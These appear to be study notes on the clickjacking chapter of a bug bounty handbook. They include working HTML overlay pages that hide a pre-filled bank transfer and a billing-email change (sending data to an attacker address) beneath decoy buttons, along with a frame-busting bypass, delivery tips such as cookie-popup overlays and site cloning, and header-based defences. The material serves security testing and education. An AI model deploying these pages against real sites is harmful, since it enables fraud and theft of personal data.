Table of Contents
BBC Ch 8: Clickjacking
Source: Bug Bounty Bootcamp by Vickie Li
Clickjacking (user-interface redressing) tricks users into clicking a malicious button that has been made to look legitimate. Attackers use HTML page-overlay techniques to hide one web page within another.
Note: clickjacking is rarely accepted by bug bounty programs because it requires significant user interaction. Many programs explicitly list it as out of scope. Some programs accept it if you can demonstrate clear impact. Always check the policy before testing.
Mechanisms
Clickjacking relies on HTML iframes. An iframe embeds one web page inside another:
<html> <h3>This is my web page.</h3> <iframe src="https://www.example.com" width="500" height="500"></iframe> <p>If this window is not blank, the iframe source URL can be framed!</p> </html>
If the target page renders inside the iframe, it is frameable. If it shows blank, framing is prevented server-side.
Attack setup:
Say example.com has a money transfer page at https://www.example.com/transfer_money that accepts recipient and amount URL parameters to pre-fill the form. The attacker embeds this page in an iframe on their site, overlays decoy content on top, and sets the iframe to nearly invisible:
<html> <style> #victim-site { width:500px; height:500px; opacity:0.00001; z-index:1; } #decoy { position:absolute; width:500px; height:500px; z-index:-1; } </style> <div id="decoy"> <h3>Welcome to my site!</h3> <h3>Subscribe to our cybersecurity newsletter!</h3> <form action="/subscribe" method="post"> <label for="email">Email:</label> <br> <input type="text" id="email" value="Please enter your email!"> <br><br> <input type="submit" value="Submit"> </form> </div> <iframe id="victim-site" src="https://www.example.com/transfer_money?recipient=attacker_account_12345&amount=5000" width="500" height="500"> </iframe> </html>
Key CSS properties:
opacity:0.00001– makes the iframe nearly invisible while keeping it clickablez-index:1on the iframe (higher z-index = on top in click detection)z-index:-1on the decoy (rendered below the iframe)position:absoluteon the decoy to overlay it precisely
The attacker positions the iframe so the Transfer Balance button sits directly over the Subscribe button. The victim sees only the newsletter form; clicking Submit actually executes the bank transfer.
Prevention
Two conditions must exist for clickjacking to succeed:
- The vulnerable page contains a state-changing action (changes account data, transfers funds, etc.)
- The page allows itself to be framed by other origins
X-Frame-Options header – instructs browsers whether the page can be framed:
X-Frame-Options: DENY X-Frame-Options: SAMEORIGIN
DENY– cannot be framed at allSAMEORIGIN– only pages from the same origin can frame it
Content-Security-Policy header – frame-ancestors directive:
Content-Security-Policy: frame-ancestors 'none'; Content-Security-Policy: frame-ancestors 'self'; Content-Security-Policy: frame-ancestors 'self' *.example.com;
SameSite cookies – if session cookies are SameSite=Strict or SameSite=Lax, they will not be sent in requests made within a third-party iframe. This means even if the page is framed, the victim will not be authenticated, defeating the attack for any action that requires authentication:
Set-Cookie: PHPSESSID=UEhQUOVTUOlE; Max-Age=86400; Secure; HttpOnly; SameSite=Strict
Hunting for Clickjacking
Step 1: Find State-Changing Actions
Clickjacking is only valuable when the target page contains a state-changing action achievable via clicks alone (not keyboard input). Go through the application and list every action that changes account state, along with the URL:
- Change password:
bank.example.com/password_change - Transfer balance:
bank.example.com/transfer_money - Unlink external account:
bank.example.com/unlink
Actions that require explicit keyboard input (typing a recipient account number) are generally not feasible because they require too much social engineering.
Step 2: Check Response Headers
Intercept the response for each state-changing page in Burp. Look for:
X-Frame-Optionsheader (DENY or SAMEORIGIN)Content-Security-Policy: frame-ancestorsdirectiveSameSiteflag on the session cookie
If none of these are present, the page may be vulnerable. Even if the site uses JavaScript frame-busting instead, that is often bypassable.
Step 3: Confirm Frameability
Create a test HTML page that frames the target:
<HTML> <head> <title>Clickjack test page</title> </head> <body> <p>Web page is vulnerable to clickjacking if the iframe is populated with the target page!</p> <iframe src="URL_OF_TARGET_PAGE" width="500" height="500"></iframe> </body> </HTML>
Open this page in a browser. If the target page renders inside the iframe, framing is possible.
Step 4: Confirm the Vulnerability
Execute the state-changing action against your own test account through the framed page. If the action succeeds when triggered via click through the iframe, the vulnerability is confirmed.
Bypassing Protections
If the site uses JavaScript frame-busting code instead of HTTP response headers, it may be bypassable. A common pattern:
if (top.location == self.location){ // Allow framing. } else{ // Disallow framing. }
This compares the top frame's location to the current frame's location. If the top frame is a page on the victim's own domain (e.g., one that allows embedding custom iframes – profile links, social share widgets), you can exploit this with the double iframe trick:
- Host a page on
attacker.comthat frames the victim's sensitive functionality - Embed your
attacker.compage inside a page hosted onvictim.comthat allows custom iframes - Now
top.locationandself.locationboth point tovictim.com; the frame-busting code approves it
Escalating the Attack
Focus on the most sensitive actions for maximum impact:
- A balance transfer page is critical severity; a theme-color-change page is low
- Chain multiple clickjacking vulnerabilities – for example, change the billing email to your own, then trigger “send account summary to billing email” to receive the victim's PII (address, phone number, credit card info)
For the chained attack HTML:
<h3>Welcome to my site!</h3> <iframe src="https://bank.example.com/change_billing_email?email=attacker@attacker.com" width="500" height="500"> </iframe> <iframe src="https://bank.example.com/send_summary" width="500" height="500"> </iframe> </html>
Payload delivery: for the attack to work, users must visit your page and click. The most effective placement is directly over a “Please Accept That This Site Uses Cookies!” popup – users click it reflexively without reading. The Social-Engineer Toolkit (github.com/trustedsec/social-engineer-toolkit) can clone the target site to make the decoy more convincing.
6-Step Checklist
- Spot state-changing actions on the target; list their URLs; mark those executable via clicks only.
- Check each page for
X-Frame-Options,Content-Security-Policy: frame-ancestors, andSameSitecookies. - Craft a test HTML page with an iframe pointing to the target; confirm the page is frameable.
- Execute the state-changing action through the iframe on your own test account to confirm.
- Craft a convincing delivery mechanism (cookie consent popup overlay, cloned site).
- Draft the clickjacking report with a working PoC.
